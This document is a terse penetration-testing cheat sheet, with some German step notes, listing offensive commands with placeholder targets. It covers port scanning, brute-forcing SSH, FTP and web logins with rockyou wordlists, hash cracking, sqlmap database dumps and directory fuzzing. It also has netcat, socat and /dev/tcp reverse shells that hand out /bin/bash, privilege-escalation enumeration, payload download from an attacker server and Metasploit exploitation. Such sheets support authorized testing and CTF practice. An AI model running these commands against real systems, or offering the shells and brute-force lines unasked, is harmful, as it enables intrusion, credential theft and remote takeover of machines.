ToolsSheet

rustscan -a <IP>

rustscan -a <IP> --ulimit 5000

rustscan -a <IP> -- -sC -sV

nmap -sC -sV <IP>

nmap -p- <IP>

nmap -A <IP>

nmap --script vuln <IP>

masscan -p1-65535 <IP> --rate=1000

masscan -p80,443 <IP>

masscan -p22 <IP> --rate=5000

hydra -l admin -P rockyou.txt <IP> ssh

hydra -L users.txt -P passwords.txt <IP> ftp

hydra -l admin -P rockyou.txt <IP> http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

medusa -h <IP> -u admin -P rockyou.txt -M ssh

medusa -h <IP> -U users.txt -P passwords.txt -M ftp

medusa -h <IP> -u admin -P rockyou.txt -M http

ncrack -p ssh <IP> -u admin -P rockyou.txt

ncrack -p ftp <IP> --user admin --pass wordlist.txt

ncrack -p ssh,ftp <IP>

1. Proxy aktivieren → Request abfangen

2. Send to Intruder → Payload § setzen

3. Wordlist laden → Attack → Antworten vergleichen

john hash.txt

john --wordlist=rockyou.txt hash.txt

john --show hash.txt

hashcat -m 0 hash.txt rockyou.txt

hashcat -a 3 -m 0 hash.txt ?a?a?a?a

hashcat --show hash.txt

sqlmap -u "<URL>" --dbs

sqlmap -u "<URL>" --tables

sqlmap -u "<URL>" --dump

gobuster dir -u http://<IP> -w wordlist.txt

gobuster dir -u http://<IP> -w wordlist.txt -x php,html

gobuster dns -d domain.com -w wordlist.txt

ffuf -u http://<IP>/FUZZ -w wordlist.txt

ffuf -u http://<IP>/FUZZ -w wordlist.txt -fc 404

ffuf -u http://<IP>/index.php?FUZZ=test -w params.txt

nikto -h http://<IP>

nikto -h <IP> -p 80,443

nikto -h http://<IP> -Tuning x

nc -lvnp 4444

nc <IP> 4444

nc -e /bin/bash <IP> 4444

socat TCP-LISTEN:4444 EXEC:/bin/bash

socat TCP:<IP>:4444 EXEC:/bin/bash

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

bash -i >& /dev/tcp/<IP>/4444 0>&1

python3 -c 'import pty;pty.spawn("/bin/bash")'

./linpeas.sh

chmod +x linpeas.sh

./linpeas.sh | tee output.txt

sudo -l

find / -perm -4000 -type f 2>/dev/null

cat /etc/crontab

python3 -m http.server 8000

python3 -m http.server 80

python3 -m http.server --bind 0.0.0.0 8000

wget http://<IP>:8000/file

curl http://<IP>:8000/file -o file

curl -O http://<IP>:8000/file

smbclient -L //<IP> -N

smbmap -H <IP>

enum4linux <IP>

snmpwalk -c public -v1 <IP>

snmp-check <IP>

onesixtyone -c community.txt <IP>

searchsploit apache

searchsploit -x exploit

searchsploit -m exploit

msfconsole

search <exploit>

use exploit/...

set RHOSTS <IP> && run